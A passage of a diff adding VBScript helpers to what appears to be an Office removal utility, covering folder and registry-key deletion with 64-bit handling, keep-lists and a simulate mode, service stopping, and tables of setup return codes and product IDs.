+        LogOnly " - Simulate delete folder: " & sDelFolder
+    End If
+    If Err <> 0 Then
+        CheckError "DeleteFolder"
+        'Try to move the folder and delete from there
+        Set Folder = oFso.GetFolder(sDelFolder)
+        sFolderName = Folder.Name
+        sNewPath = sScrubDir & "\ScrubTmp"
+        Set Folder = Nothing
+        'Ensure we stay within the same drive
+        If Not oFso.FolderExists(sNewPath) Then oFso.CreateFolder(sNewPath)
+        'Move the folder
+        LogOnly " - Moving folder to: " & sNewPath & "\" & sFolderName
+        oFso.MoveFolder sFolder,sNewPath & "\" & sFolderName
+        If Err <> 0 Then
+            CheckError "DeleteFolder (move)"
+        End If 'Err <> 0
+    End If 'Err <> 0
+End Sub 'DeleteFolder
+'=======================================================================================================
+
+'Delete empty folder structures
+Sub DeleteEmptyFolders
+    Dim Folder
+    Dim sFolder
+
+    ' cosmetic' task don't fail on error
+    On Error Resume Next
+    If Not IsArray(arrDeleteFolders) Then Exit Sub
+    Log vbCrLf & "Empty Folder Cleanup"
+    For Each sFolder in arrDeleteFolders
+        If oFso.FolderExists(sFolder) Then
+            Set Folder = oFso.GetFolder(sFolder)
+            If CBool(Folder.Attributes AND 1024) Then
+                'exclude protected folder
+            Else
+                If (Folder.Subfolders.Count = 0) AND (Folder.Files.Count = 0) Then
+                    Set Folder = Nothing
+                    SmartDeleteFolder sFolder
+                End If
+            End If
+        End If
+    Next 'sFolder
+    CheckError "DeleteEmptyFolders"
+    On Error Goto 0
+End Sub 'DeleteEmptyFolders
+'=======================================================================================================
+
+'Delete indivdual empty folder structures
+Sub DeleteEmptyFolder (sFolder)
+    Dim Folder
+
+    ' cosmetic' task don't fail on error
+    On Error Resume Next
+    If oFso.FolderExists(sFolder) Then
+        Set Folder = oFso.GetFolder(sFolder)
+        If CBool(Folder.Attributes AND 1024) Then
+            'exclude protected folder
+        Else
+            If (Folder.Subfolders.Count = 0) AND (Folder.Files.Count = 0) Then
+                Set Folder = Nothing
+                SmartDeleteFolder sFolder
+            End If
+        End If
+    End If
+
+    CheckError "DeleteEmptyFolder"
+    On Error Goto 0
+End Sub 'DeleteEmptyFolder
+'=======================================================================================================
+
+'Wrapper to delete a folder and remove the empty parent folder structure
+Sub SmartDeleteFolder(sFolder)
+    If oFso.FolderExists(sFolder) Then
+        If Not fDetectOnly Then
+            LogOnly "  Request SmartDelete for folder: " & sFolder
+            SmartDeleteFolderEx sFolder
+        Else
+            LogOnly "  Simulate request SmartDelete for folder: " & sFolder
+        End If
+    End If
+    If f64 AND oFso.FolderExists(Wow64Folder(sFolder)) Then
+        If Not fDetectOnly Then
+            LogOnly "Request SmartDelete for folder: " & Wow64Folder(sFolder)
+            SmartDeleteFolderEx Wow64Folder(sFolder)
+        Else
+            LogOnly "Simulate request SmartDelete for folder: " & Wow64Folder(sFolder)
+        End If
+    End If
+End Sub 'SmartDeleteFolder
+'=======================================================================================================
+
+'Executes the folder delete operation
+Sub SmartDeleteFolderEx(sFolder)
+    Dim Folder
+
+    On Error Resume Next
+    DeleteFolder sFolder : CheckError "SmartDeleteFolderEx"
+    On Error Goto 0
+    Set Folder = oFso.GetFolder(oFso.GetParentFolderName(sFolder))
+    If (Folder.Subfolders.Count = 0) AND (Folder.Files.Count = 0) Then SmartDeleteFolderEx(Folder.Path)
+End Sub 'SmartDeleteFolderEx
+'=======================================================================================================
+
+'Adds the folder structure to the 'KeepFolder' dictionary
+Sub AddKeepFolder(sPath)
+
+    Dim Folder
+
+    'Ensure trailing "\"
+    sPath = LCase(sPath) & "\"
+    While InStr(sPath,"\\")>0
+        sPath = Replace(sPath,"\\","\")
+    Wend
+
+    If NOT dictionaryKeepFolder.Exists (sPath) Then
+        dictionaryKeepFolder.Add sPath,sPath
+    Else
+        Exit Sub
+    End If
+    sPath = LCase(oFso.GetParentFolderName(sPath)) & "\"
+    If oFso.FolderExists(sPath) Then AddKeepFolder(sPath)
+End Sub
+'=======================================================================================================
+
+'Handles additional folder-path operations on 64 bit environments
+Function Wow64Folder(sFolder)
+    If LCase(Left(sFolder,Len(sWinDir & "\System32"))) = LCase(sWinDir & "\System32") Then
+        Wow64Folder = sWinDir & "\syswow64" & Right(sFolder,Len(sFolder)-Len(sSys32Dir))
+    ElseIf LCase(Left(sFolder,Len(sProgramFiles))) = LCase(sProgramFiles) Then
+        Wow64Folder = sProgramFilesX86 & Right(sFolder,Len(sFolder)-Len(sProgramFiles))
+    Else
+        Wow64Folder = "?" 'Return invalid string to ensure the folder cannot exist
+    End If
+End Function 'Wow64Folder
+'=======================================================================================================
+
+Function HiveString(hDefKey)
+    On Error Resume Next
+    Select Case hDefKey
+        Case HKCR : HiveString = "HKEY_CLASSES_ROOT"
+        Case HKCU : HiveString = "HKEY_CURRENT_USER"
+        Case HKLM : HiveString = "HKEY_LOCAL_MACHINE"
+        Case HKU  : HiveString = "HKEY_USERS"
+        Case Else : HiveString = hDefKey
+    End Select
+End Function
+'=======================================================================================================
+
+Function RegKeyExists(hDefKey,sSubKeyName)
+    Dim arrKeys
+    RegKeyExists = False
+    If oReg.EnumKey(hDefKey,sSubKeyName,arrKeys) = 0 Then RegKeyExists = True
+End Function
+'=======================================================================================================
+
+Function RegValExists(hDefKey,sSubKeyName,sName)
+    Dim arrValueTypes, arrValueNames
+    Dim i
+
+    RegValExists = False
+    If Not RegKeyExists(hDefKey,sSubKeyName) Then Exit Function
+    If sName = "" Then
+        RegValExists = True
+        Exit Function
+    End If
+    If oReg.EnumValues(hDefKey,sSubKeyName,arrValueNames,arrValueTypes) = 0 AND IsArray(arrValueNames) Then
+        For i = 0 To UBound(arrValueNames)
+            If LCase(arrValueNames(i)) = Trim(LCase(sName)) Then RegValExists = True
+        Next
+    End If 'oReg.EnumValues
+End Function
+'=======================================================================================================
+
+'Read the value of a given registry entry
+Function RegReadValue(hDefKey, sSubKeyName, sName, sValue, sType)
+    Dim RetVal
+    Dim Item
+    Dim arrValues
+
+    Select Case UCase(sType)
+        Case "1","REG_SZ"
+            RetVal = oReg.GetStringValue(hDefKey,sSubKeyName,sName,sValue)
+            If Not RetVal = 0 AND f64 Then RetVal = oReg.GetStringValue(hDefKey,Wow64Key(hDefKey, sSubKeyName),sName,sValue)
+
+        Case "2","REG_EXPAND_SZ"
+            RetVal = oReg.GetExpandedStringValue(hDefKey,sSubKeyName,sName,sValue)
+            If Not RetVal = 0 AND f64 Then RetVal = oReg.GetExpandedStringValue(hDefKey,Wow64Key(hDefKey, sSubKeyName),sName,sValue)
+
+        Case "7","REG_MULTI_SZ"
+            RetVal = oReg.GetMultiStringValue(hDefKey,sSubKeyName,sName,arrValues)
+            If Not RetVal = 0 AND f64 Then RetVal = oReg.GetMultiStringValue(hDefKey,Wow64Key(hDefKey, sSubKeyName),sName,arrValues)
+            If RetVal = 0 Then sValue = Join(arrValues,chr(34))
+
+        Case "4","REG_DWORD"
+            RetVal = oReg.GetDWORDValue(hDefKey,sSubKeyName,sName,sValue)
+            If Not RetVal = 0 AND f64 Then
+                RetVal = oReg.GetDWORDValue(hDefKey,Wow64Key(hDefKey, sSubKeyName),sName,sValue)
+            End If
+
+        Case "3","REG_BINARY"
+            RetVal = oReg.GetBinaryValue(hDefKey,sSubKeyName,sName,sValue)
+            If Not RetVal = 0 AND f64 Then RetVal = oReg.GetBinaryValue(hDefKey,Wow64Key(hDefKey, sSubKeyName),sName,sValue)
+
+        Case "11","REG_QWORD"
+            RetVal = oReg.GetQWORDValue(hDefKey,sSubKeyName,sName,sValue)
+            If Not RetVal = 0 AND f64 Then RetVal = oReg.GetQWORDValue(hDefKey,Wow64Key(hDefKey, sSubKeyName),sName,sValue)
+
+        Case Else
+            RetVal = -1
+    End Select 'sValue
+
+    RegReadValue = (RetVal = 0)
+End Function 'RegReadValue
+'=======================================================================================================
+
+'Enumerate a registry key to return all values
+Function RegEnumValues(hDefKey,sSubKeyName,arrNames, arrTypes)
+    Dim RetVal, RetVal64
+    Dim arrNames32, arrNames64, arrTypes32, arrTypes64
+
+    If f64 Then
+        RetVal = oReg.EnumValues(hDefKey,sSubKeyName,arrNames32,arrTypes32)
+        RetVal64 = oReg.EnumValues(hDefKey,Wow64Key(hDefKey, sSubKeyName),arrNames64,arrTypes64)
+        If (RetVal = 0) AND (Not RetVal64 = 0) AND IsArray(arrNames32) AND IsArray(arrTypes32) Then
+            arrNames = arrNames32
+            arrTypes = arrTypes32
+        End If
+        If (Not RetVal = 0) AND (RetVal64 = 0) AND IsArray(arrNames64) AND IsArray(arrTypes64) Then
+            arrNames = arrNames64
+            arrTypes = arrTypes64
+        End If
+        If (RetVal = 0) AND (RetVal64 = 0) AND IsArray(arrNames32) AND IsArray(arrNames64) AND IsArray(arrTypes32) AND IsArray(arrTypes64) Then
+            arrNames = RemoveDuplicates(Split((Join(arrNames32,"\") & "\" & Join(arrNames64,"\")),"\"))
+            arrTypes = RemoveDuplicates(Split((Join(arrTypes32,"\") & "\" & Join(arrTypes64,"\")),"\"))
+        End If
+    Else
+        RetVal = oReg.EnumValues(hDefKey,sSubKeyName,arrNames,arrTypes)
+    End If 'f64
+    RegEnumValues = ((RetVal = 0) OR (RetVal64 = 0)) AND IsArray(arrNames) AND IsArray(arrTypes)
+End Function 'RegEnumValues
+'=======================================================================================================
+
+'Enumerate a registry key to return all subkeys
+Function RegEnumKey(hDefKey,sSubKeyName,arrKeys)
+    Dim RetVal, RetVal64
+    Dim arrKeys32, arrKeys64
+
+    If f64 Then
+        RetVal = oReg.EnumKey(hDefKey,sSubKeyName,arrKeys32)
+        RetVal64 = oReg.EnumKey(hDefKey,Wow64Key(hDefKey, sSubKeyName),arrKeys64)
+        If (RetVal = 0) AND (Not RetVal64 = 0) AND IsArray(arrKeys32) Then arrKeys = arrKeys32
+        If (Not RetVal = 0) AND (RetVal64 = 0) AND IsArray(arrKeys64) Then arrKeys = arrKeys64
+        If (RetVal = 0) AND (RetVal64 = 0) Then
+            If IsArray(arrKeys32) AND IsArray (arrKeys64) Then
+                arrKeys = RemoveDuplicates(Split((Join(arrKeys32,"\") & "\" & Join(arrKeys64,"\")),"\"))
+            ElseIf IsArray(arrKeys64) Then
+                arrKeys = arrKeys64
+            Else
+                arrKeys = arrKeys32
+            End If
+        End If
+    Else
+        RetVal = oReg.EnumKey(hDefKey,sSubKeyName,arrKeys)
+    End If 'f64
+    RegEnumKey = ((RetVal = 0) OR (RetVal64 = 0)) AND IsArray(arrKeys)
+End Function 'RegEnumKey
+'=======================================================================================================
+
+'Wrapper around oReg.DeleteValue to handle 64 bit
+Sub RegDeleteValue(hDefKey, sSubKeyName, sName, fRegMultiSZ)
+    Dim sWow64Key,sRealName
+    Dim iRetVal
+
+    sRealName = sName
+    If UCase(sName) = "(DEFAULT)" Then sRealName = ""
+
+    If dictionaryKeepReg.Exists(LCase(sSubKeyName & sName)) Then
+        If NOT fForce Then
+            LogOnly " - Disallowing the delete of still required keypath element: " & HiveString(hDefKey) & "\" & sSubKeyName & sName
+            Exit Sub
+        Else
+            LogOnly " - Enforced delete of still required keypath element. Remaining applications will need a repair!"
+        End If
+    End If
+    If f64 Then
+        If dictionaryKeepReg.Exists(LCase(Wow64Key(hDefKey, sSubKeyName) & sName)) Then
+            If NOT fForce Then
+                LogOnly " - Disallowing the delete of still required keypath element: " & HiveString(hDefKey) & "\" & sSubKeyName & sName
+                Exit Sub
+            Else
+                LogOnly " - Enforced delete of still required keypath element. Remaining applications will need a repair!"
+            End If
+        End If
+    End If
+
+    If RegValExists(hDefKey,sSubKeyName,sRealName) Then
+        On Error Resume Next
+        If RegReadValue(hDefKey,sSubKeyName,sName,sValue,"REG_MULTI_SZ") Then
+            LogOnly " - Disallowing unsafe delete of REG_MULTI_SZ: " & HiveString(hDefKey) & "\" & sSubKeyName & sName
+            Exit Sub
+        End If
+        If Not fDetectOnly Then
+            LogOnly " - Delete registry value: " & HiveString(hDefKey) & "\" & sSubKeyName & " -> " & sName
+            iRetVal = 0
+            iRetVal = oReg.DeleteValue(hDefKey, sSubKeyName, sRealName)
+            CheckError "RegDeleteValue"
+            If NOT (iRetVal=0) Then LogOnly "     Delete failed. Return value: "&iRetVal
+        Else
+            LogOnly " - Simulate delete registry value: " & HiveString(hDefKey) & "\" & sSubKeyName & " -> " & sName
+        End If
+        On Error Goto 0
+    End If 'RegValExists
+    If f64 Then
+        sWow64Key = Wow64Key(hDefKey, sSubKeyName)
+        If RegValExists(hDefKey,sWow64Key,sRealName) Then
+            On Error Resume Next
+            If RegReadValue(hDefKey,sSubKeyName,sName,sValue,"REG_MULTI_SZ") Then
+                LogOnly " - Disallowing unsafe delete of REG_MULTI_SZ: " & HiveString(hDefKey) & "\" & sSubKeyName & sName
+                Exit Sub
+            End If
+            If Not fDetectOnly Then
+            LogOnly " - Delete registry value: " & HiveString(hDefKey) & "\" & sWow64Key & " -> " & sName
+                iRetVal = 0
+                iRetVal = oReg.DeleteValue(hDefKey, sWow64Key, sRealName)
+                CheckError "RegDeleteValue"
+                If NOT (iRetVal=0) Then LogOnly "     Delete failed. Return value: "&iRetVal
+            Else
+                LogOnly " - Simulate delete registry value: " & HiveString(hDefKey) & "\" & sWow64Key & " -> " & sName
+            End If
+            On Error Goto 0
+        End If 'RegKeyExists
+    End If
+End Sub 'RegDeleteValue
+'=======================================================================================================
+
+'Wrappper around RegDeleteKeyEx to handle 64bit scenrios
+Sub RegDeleteKey(hDefKey, sSubKeyName)
+    Dim sWow64Key
+
+    'Ensure trailing "\"
+    sSubKeyName = sSubKeyName & "\"
+    While InStr(sSubKeyName,"\\")>0
+        sSubKeyName = Replace(sSubKeyName,"\\","\")
+    Wend
+
+    If dictionaryKeepReg.Exists(LCase(sSubKeyName)) Then
+        If NOT fForce Then
+            LogOnly " - Disallowing the delete of still required keypath element: " & HiveString(hDefKey) & "\" & sSubKeyName
+            Exit Sub
+        Else
+            LogOnly " - Enforced delete of still required keypath element. Remaining applications will need a repair!"
+        End If
+    End If
+    If f64 Then
+        If dictionaryKeepReg.Exists(LCase(Wow64Key(hDefKey, sSubKeyName))) Then
+            If NOT fForce Then
+                LogOnly " - Disallowing the delete of still required keypath element: " & HiveString(hDefKey) & "\" & sSubKeyName
+                Exit Sub
+            Else
+                LogOnly " - Enforced delete of still required keypath element. Remaining applications will need a repair!"
+            End If
+        End If
+    End If
+
+    If Len(sSubKeyName) > 1 Then
+        'Strip of trailing "\"
+        sSubKeyName = Left(sSubKeyName,Len(sSubKeyName)-1)
+    End If
+
+    If RegKeyExists(hDefKey, sSubKeyName) Then
+        If Not fDetectOnly Then
+            LogOnly " - Delete registry key: " & HiveString(hDefKey) & "\" & sSubKeyName
+            On Error Resume Next
+            RegDeleteKeyEx hDefKey, sSubKeyName
+            On Error Goto 0
+        Else
+            LogOnly " - Simulate delete registry key: " & HiveString(hDefKey) & "\" & sSubKeyName
+        End If
+    End If 'RegKeyExists
+    If f64 Then
+        sWow64Key = Wow64Key(hDefKey, sSubKeyName)
+        If RegKeyExists(hDefKey,sWow64Key) Then
+            If Not fDetectOnly Then
+                LogOnly " - Delete registry key: " & HiveString(hDefKey) & "\" & sWow64Key
+                On Error Resume Next
+                RegDeleteKeyEx hDefKey, sWow64Key
+                On Error Goto 0
+            Else
+                LogOnly " - Simulate delete registry key: " & HiveString(hDefKey) & "\" & sWow64Key
+            End If
+        End If 'RegKeyExists
+    End If
+End Sub 'RegDeleteKey
+'=======================================================================================================
+
+'Recursively delete a registry structure
+Sub RegDeleteKeyEx(hDefKey, sSubKeyName)
+    Dim arrSubkeys
+    Dim sSubkey
+    Dim iRetVal
+
+    On Error Resume Next
+    oReg.EnumKey hDefKey, sSubKeyName, arrSubkeys
+    If IsArray(arrSubkeys) Then
+        For Each sSubkey In arrSubkeys
+            RegDeleteKeyEx hDefKey, sSubKeyName & "\" & sSubkey
+        Next
+    End If
+    If Not fDetectOnly Then
+        iRetVal = 0
+        iRetVal = oReg.DeleteKey(hDefKey,sSubKeyName)
+        If NOT (iRetVal=0) Then LogOnly "     Delete failed. Return value: "&iRetVal
+    End If
+End Sub 'RegDeleteKeyEx
+'=======================================================================================================
+
+'Return the alternate regkey location on 64bit environment
+Function Wow64Key(hDefKey, sSubKeyName)
+    Dim iPos
+
+    Select Case hDefKey
+        Case HKCU
+            If Left(sSubKeyName,17) = "Software\Classes\" Then
+                Wow64Key = Left(sSubKeyName,17) & "Wow6432Node\" & Right(sSubKeyName,Len(sSubKeyName)-17)
+            Else
+                iPos = InStr(sSubKeyName,"\")
+                Wow64Key = Left(sSubKeyName,iPos) & "Wow6432Node\" & Right(sSubKeyName,Len(sSubKeyName)-iPos)
+            End If
+
+        Case HKLM
+            If Left(sSubKeyName,17) = "Software\Classes\" Then
+                Wow64Key = Left(sSubKeyName,17) & "Wow6432Node\" & Right(sSubKeyName,Len(sSubKeyName)-17)
+            Else
+                iPos = InStr(sSubKeyName,"\")
+                Wow64Key = Left(sSubKeyName,iPos) & "Wow6432Node\" & Right(sSubKeyName,Len(sSubKeyName)-iPos)
+            End If
+
+        Case Else
+            Wow64Key = "Wow6432Node\" & sSubKeyName
+
+    End Select 'hDefKey
+End Function 'Wow64Key
+'=======================================================================================================
+
+'Remove duplicate entries from a one dimensional array
+Function RemoveDuplicates(Array)
+    Dim Item
+    Dim oDic
+
+    Set oDic = CreateObject("Scripting.Dictionary")
+    For Each Item in Array
+        If Not oDic.Exists(Item) Then oDic.Add Item,Item
+    Next 'Item
+    RemoveDuplicates = oDic.Keys
+End Function 'RemoveDuplicates
+'=======================================================================================================
+
+'End running instances of setup
+Sub EndCurrentInstalls ()
+    Dim Processes, Process
+    Dim iRet
+
+    Set Processes = oWmiLocal.ExecQuery("Select * From Win32_Process Where Name like '%setup%' OR Name like '%install%'")
+    For Each Process in Processes
+        Log " - End process " & Process.Name
+        iRet = Process.Terminate()
+        CheckError "EndCurrentInstalls: " & "Process.Name"
+    Next 'Process
+    StopService "msiserver"
+End Sub 'EndCurrentInstalls
+'=======================================================================================================
+
+'Uses WMI to stop a service
+Function StopService(sService)
+    Dim Services, Service
+    Dim sQuery
+    Dim iRet
+
+    On Error Resume Next
+
+    iRet = 0
+    sQuery = "Select * From Win32_Service Where Name='" & sService & "'"
+    Set Services = oWmiLocal.Execquery(sQuery)
+    'Stop the service
+    For Each Service in Services
+        If UCase(Service.State) = "STARTED" Then iRet = Service.StopService
+        If UCase(Service.State) = "RUNNING" Then iRet = Service.StopService
+
+    Next 'Service
+    StopService = (iRet = 0)
+End Function 'StopService
+'=======================================================================================================
+
+'Delete a service
+Sub DeleteService(sService)
+    Dim Services, Service, Processes, Process
+    Dim sQuery, sStates
+    Dim iRet
+
+    On Error Resume Next
+
+    sStates = "STARTED;RUNNING"
+    sQuery = "Select * From Win32_Service Where Name='" & sService & "'"
+    Set Services = oWmiLocal.Execquery(sQuery)
+
+    'Stop and delete the service
+    For Each Service in Services
+        Log " Found service " & sService & " in state " & Service.State
+        If InStr(sStates,UCase(Service.State))>0 Then iRet = Service.StopService()
+        'Ensure no more instances of the service are running
+        Set Processes = oWmiLocal.ExecQuery("Select * From Win32_Process Where Name='" & sService & ".exe'")
+        For Each Process in Processes
+            iRet = Process.Terminate()
+        Next 'Process
+        If Not fDetectOnly Then
+            Log " - Deleting Service -> " & sService
+            iRet = Service.Delete()
+        Else
+            Log " - Simulate deleting Service -> " & sService
+        End If
+    Next 'Service
+    Set Services = Nothing
+    Err.Clear
+
+End Sub 'DeleteService
+'=======================================================================================================
+
+'Translation for setup.exe error codes
+Function SetupRetVal(RetVal)
+    Select Case RetVal
+        Case 0 : SetupRetVal = "Success"
+        Case 30001,1 : SetupRetVal = "AbstractMethod"
+        Case 30002,2 : SetupRetVal = "ApiProhibited"
+        Case 30003,3  : SetupRetVal = "AlreadyImpersonatingAUser"
+        Case 30004,4 : SetupRetVal = "AlreadyInitialized"
+        Case 30005,5 : SetupRetVal = "ArgumentNullException"
+        Case 30006,6 : SetupRetVal = "AssertionFailed"
+        Case 30007,7 : SetupRetVal = "CABFileAddFailed"
+        Case 30008,8 : SetupRetVal = "CommandFailed"
+        Case 30009,9 : SetupRetVal = "ConcatenationFailed"
+        Case 30010,10 : SetupRetVal = "CopyFailed"
+        Case 30011,11 : SetupRetVal = "CreateEventFailed"
+        Case 30012,12 : SetupRetVal = "CustomizationPatchNotFound"
+        Case 30013,13 : SetupRetVal = "CustomizationPatchNotApplicable"
+        Case 30014,14 : SetupRetVal = "DuplicateDefinition"
+        Case 30015,15 : SetupRetVal = "ErrorCodeOnly - Passthrough for Win32 error"
+        Case 30016,16 : SetupRetVal = "ExceptionNotThrown"
+        Case 30017,17 : SetupRetVal = "FailedToImpersonateUser"
+        Case 30018,18 : SetupRetVal = "FailedToInitializeFlexDataSource"
+        Case 30019,19 : SetupRetVal = "FailedToStartClassFactories"
+        Case 30020,20 : SetupRetVal = "FileNotFound"
+        Case 30021,21 : SetupRetVal = "FileNotOpen"
+        Case 30022,22 : SetupRetVal = "FlexDialogAlreadyInitialized"
+        Case 30023,23 : SetupRetVal = "HResultOnly - Passthrough for HRESULT errors"
+        Case 30024,24 : SetupRetVal = "HWNDNotFound"
+        Case 30025,25 : SetupRetVal = "IncompatibleCacheAction"
+        Case 30026,26 : SetupRetVal = "IncompleteProductAddOns"
+        Case 30027,27 : SetupRetVal = "InstalledProductStateCorrupt"
+        Case 30028,28 : SetupRetVal = "InsufficientBuffer"
+        Case 30029,29 : SetupRetVal = "InvalidArgument"
+        Case 30030,30 : SetupRetVal = "InvalidCDKey"
+        Case 30031,31 : SetupRetVal = "InvalidColumnType"
+        Case 30032,31 : SetupRetVal = "InvalidConfigAddLanguage"
+        Case 30033,33 : SetupRetVal = "InvalidData"
+        Case 30034,34 : SetupRetVal = "InvalidDirectory"
+        Case 30035,35 : SetupRetVal = "InvalidFormat"
+        Case 30036,36 : SetupRetVal = "InvalidInitialization"
+        Case 30037,37 : SetupRetVal = "InvalidMethod"
+        Case 30038,38 : SetupRetVal = "InvalidOperation"
+        Case 30039,39 : SetupRetVal = "InvalidParameter"
+        Case 30040,40 : SetupRetVal = "InvalidProductFromARP"
+        Case 30041,41 : SetupRetVal = "InvalidProductInConfigXml"
+        Case 30042,42 : SetupRetVal = "InvalidReference"
+        Case 30043,43 : SetupRetVal = "InvalidRegistryValueType"
+        Case 30044,44 : SetupRetVal = "InvalidXMLProperty"
+        Case 30045,45 : SetupRetVal = "InvalidMetadataFile"
+        Case 30046,46 : SetupRetVal = "LogNotInitialized"
+        Case 30047,47 : SetupRetVal = "LogAlreadyInitialized"
+        Case 30048,48 : SetupRetVal = "MissingXMLNode"
+        Case 30049,49 : SetupRetVal = "MsiTableNotFound"
+        Case 30050,50 : SetupRetVal = "MsiAPICallFailure"
+        Case 30051,51 : SetupRetVal = "NodeNotOfTypeElement"
+        Case 30052,52 : SetupRetVal = "NoMoreGraceBoots"
+        Case 30053,53 : SetupRetVal = "NoProductsFound"
+        Case 30054,54 : SetupRetVal = "NoSupportedCulture"
+        Case 30055,55 : SetupRetVal = "NotYetImplemented"
+        Case 30056,56 : SetupRetVal = "NotAvailableCulture"
+        Case 30057,57 : SetupRetVal = "NotCustomizationPatch"
+        Case 30058,58 : SetupRetVal = "NullReference"
+        Case 30059,59 : SetupRetVal = "OCTPatchForbidden"
+        Case 30060,60 : SetupRetVal = "OCTWrongMSIDll"
+        Case 30061,61 : SetupRetVal = "OutOfBoundsIndex"
+        Case 30062,62 : SetupRetVal = "OutOfDiskSpace"
+        Case 30063,63 : SetupRetVal = "OutOfMemory"
+        Case 30064,64 : SetupRetVal = "OutOfRange"
+        Case 30065,65 : SetupRetVal = "PatchApplicationFailure"
+        Case 30066,66 : SetupRetVal = "PreReqCheckFailure"
+        Case 30067,67 : SetupRetVal = "ProcessAlreadyStarted"
+        Case 30068,68 : SetupRetVal = "ProcessNotStarted"
+        Case 30069,69 : SetupRetVal = "ProcessNotFinished"
+        Case 30070,70 : SetupRetVal = "ProductAlreadyDefined"
+        Case 30071,71 : SetupRetVal = "ResourceAlreadyTracked"
+        Case 30072,72 : SetupRetVal = "ResourceNotFound"
+        Case 30073,73 : SetupRetVal = "ResourceNotTracked"
+        Case 30074,74 : SetupRetVal = "SQLAlreadyConnected"
+        Case 30075,75 : SetupRetVal = "SQLFailedToAllocateHandle"
+        Case 30076,76 : SetupRetVal = "SQLFailedToConnect"
+        Case 30077,77 : SetupRetVal = "SQLFailedToExecuteStatement"
+        Case 30078,78 : SetupRetVal = "SQLFailedToRetrieveData"
+        Case 30079,79 : SetupRetVal = "SQLFailedToSetAttribute"
+        Case 30080,80 : SetupRetVal = "StorageNotCreated"
+        Case 30081,81 : SetupRetVal = "StreamNameTooLong"
+        Case 30082,82 : SetupRetVal = "SystemError"
+        Case 30083,83 : SetupRetVal = "ThreadAlreadyStarted"
+        Case 30084,84 : SetupRetVal = "ThreadNotStarted"
+        Case 30085,85 : SetupRetVal = "ThreadNotFinished"
+        Case 30086,86 : SetupRetVal = "TooManyProducts"
+        Case 30087,87 : SetupRetVal = "UnexpectedXMLNodeType"
+        Case 30088,88 : SetupRetVal = "UnexpectedError"
+        Case 30089,89 : SetupRetVal = "Unitialized"
+        Case 30090,90 : SetupRetVal = "UserCancel"
+        Case 30091,91 : SetupRetVal = "ExternalCommandFailed"
+        Case 30092,92 : SetupRetVal = "SPDatabaseOverSize"
+        Case 30093,93 : SetupRetVal = "IntegerTruncation"
+        'msiexec return values
+        Case 1259 : SetupRetVal = "APPHELP_BLOCK"
+        Case 1601 : SetupRetVal = "INSTALL_SERVICE_FAILURE"
+        Case 1602 : SetupRetVal = "INSTALL_USEREXIT"
+        Case 1603 : SetupRetVal = "INSTALL_FAILURE"
+        Case 1604 : SetupRetVal = "INSTALL_SUSPEND"
+        Case 1605 : SetupRetVal = "UNKNOWN_PRODUCT"
+        Case 1606 : SetupRetVal = "UNKNOWN_FEATURE"
+        Case 1607 : SetupRetVal = "UNKNOWN_COMPONENT"
+        Case 1608 : SetupRetVal = "UNKNOWN_PROPERTY"
+        Case 1609 : SetupRetVal = "INVALID_HANDLE_STATE"
+        Case 1610 : SetupRetVal = "BAD_CONFIGURATION"
+        Case 1611 : SetupRetVal = "INDEX_ABSENT"
+        Case 1612 : SetupRetVal = "INSTALL_SOURCE_ABSENT"
+        Case 1613 : SetupRetVal = "INSTALL_PACKAGE_VERSION"
+        Case 1614 : SetupRetVal = "PRODUCT_UNINSTALLED"
+        Case 1615 : SetupRetVal = "BAD_QUERY_SYNTAX"
+        Case 1616 : SetupRetVal = "INVALID_FIELD"
+        Case 1618 : SetupRetVal = "INSTALL_ALREADY_RUNNING"
+        Case 1619 : SetupRetVal = "INSTALL_PACKAGE_OPEN_FAILED"
+        Case 1620 : SetupRetVal = "INSTALL_PACKAGE_INVALID"
+        Case 1621 : SetupRetVal = "INSTALL_UI_FAILURE"
+        Case 1622 : SetupRetVal = "INSTALL_LOG_FAILURE"
+        Case 1623 : SetupRetVal = "INSTALL_LANGUAGE_UNSUPPORTED"
+        Case 1624 : SetupRetVal = "INSTALL_TRANSFORM_FAILURE"
+        Case 1625 : SetupRetVal = "INSTALL_PACKAGE_REJECTED"
+        Case 1626 : SetupRetVal = "FUNCTION_NOT_CALLED"
+        Case 1627 : SetupRetVal = "FUNCTION_FAILED"
+        Case 1628 : SetupRetVal = "INVALID_TABLE"
+        Case 1629 : SetupRetVal = "DATATYPE_MISMATCH"
+        Case 1630 : SetupRetVal = "UNSUPPORTED_TYPE"
+        Case 1631 : SetupRetVal = "CREATE_FAILED"
+        Case 1632 : SetupRetVal = "INSTALL_TEMP_UNWRITABLE"
+        Case 1633 : SetupRetVal = "INSTALL_PLATFORM_UNSUPPORTED"
+        Case 1634 : SetupRetVal = "INSTALL_NOTUSED"
+        Case 1635 : SetupRetVal = "PATCH_PACKAGE_OPEN_FAILED"
+        Case 1636 : SetupRetVal = "PATCH_PACKAGE_INVALID"
+        Case 1637 : SetupRetVal = "PATCH_PACKAGE_UNSUPPORTED"
+        Case 1638 : SetupRetVal = "PRODUCT_VERSION"
+        Case 1639 : SetupRetVal = "INVALID_COMMAND_LINE"
+        Case 1640 : SetupRetVal = "INSTALL_REMOTE_DISALLOWED"
+        Case 1641 : SetupRetVal = "SUCCESS_REBOOT_INITIATED"
+        Case 1642 : SetupRetVal = "PATCH_TARGET_NOT_FOUND"
+        Case 1643 : SetupRetVal = "PATCH_PACKAGE_REJECTED"
+        Case 1644 : SetupRetVal = "INSTALL_TRANSFORM_REJECTED"
+        Case 1645 : SetupRetVal = "INSTALL_REMOTE_PROHIBITED"
+        Case 1646 : SetupRetVal = "PATCH_REMOVAL_UNSUPPORTED"
+        Case 1647 : SetupRetVal = "UNKNOWN_PATCH"
+        Case 1648 : SetupRetVal = "PATCH_NO_SEQUENCE"
+        Case 1649 : SetupRetVal = "PATCH_REMOVAL_DISALLOWED"
+        Case 1650 : SetupRetVal = "INVALID_PATCH_XML"
+        Case 3010 : SetupRetVal = "SUCCESS_REBOOT_REQUIRED"
+        Case Else : SetupRetVal = "Unknown Return Value"
+    End Select
+End Function 'SetupRetVal
+'=======================================================================================================
+
+Function GetProductID(sProdID)
+        Dim sReturn
+
+        Select Case sProdId
+
+        Case "000F" : sReturn = "MONDO"
+        Case "0010" : sReturn = "WEBFLDRS"
+        Case "0011" : sReturn = "PROPLUS"
+        Case "0012" : sReturn = "STANDARD"
+        Case "0013" : sReturn = "BASIC"
+        Case "0014" : sReturn = "PRO"
+        Case "0015" : sReturn = "ACCESS"
+        Case "0016" : sReturn = "EXCEL"
+        Case "0017" : sReturn = "SharePointDesigner"
+        Case "0018" : sReturn = "PowerPoint"
+        Case "0019" : sReturn = "Publisher"
+        Case "001A" : sReturn = "Outlook"
